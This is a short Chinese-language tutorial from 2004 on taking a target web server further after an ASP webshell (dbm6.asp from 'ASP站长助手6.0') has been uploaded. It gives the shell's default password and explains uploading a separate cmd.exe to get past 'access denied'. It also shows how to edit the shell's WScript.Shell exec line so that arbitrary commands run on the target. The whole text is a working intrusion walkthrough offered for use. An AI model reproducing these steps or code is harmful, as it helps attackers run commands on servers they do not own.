使用ASP站长助手6.0提升webshll中cmd权限图文教程

黑色诱惑
1.将ASP站长助手6.0的dbm6.asp文件上传到目标。

2.从浏览器中打开上传的dbm6.asp，输入初始密码：gxgl.com


3.这个时候在ASP站长助手6.0点击命令行模块，显示"拒绝访问"


4.用ASP站长助手6.0的文件上传模块上传一个本地的CMD.exe，到你的目标主机。


5.用记事本打开修改你的wdbm6.asp找到调用CMD.exe的代码
原来的：
SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
修改成：
SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall
比如我这里上传到的目录是D:/cmd.exe那么就修改成:
SI=SI&server.createobject("wscript.shell").exec("D:/cmd.exe /c "&DefCmd).stdout.readall
保存后重新上传到目标主机覆盖原来的dbm6.asp。


6.这个时候在ASP站长助手6.0点击命令行模块，呵呵，看看到久违的黑白画面了吧~~~



 [这是昨天QQ上一位叫小学徒的朋友问我的问题，我今天就专门去下了一个来用，然后在这里告诉他使用的方法，水平有限，写得很简陋，不知道大家能看懂不]
                                                                                                                                                ileboy
                                                                                                                                           2004/11/4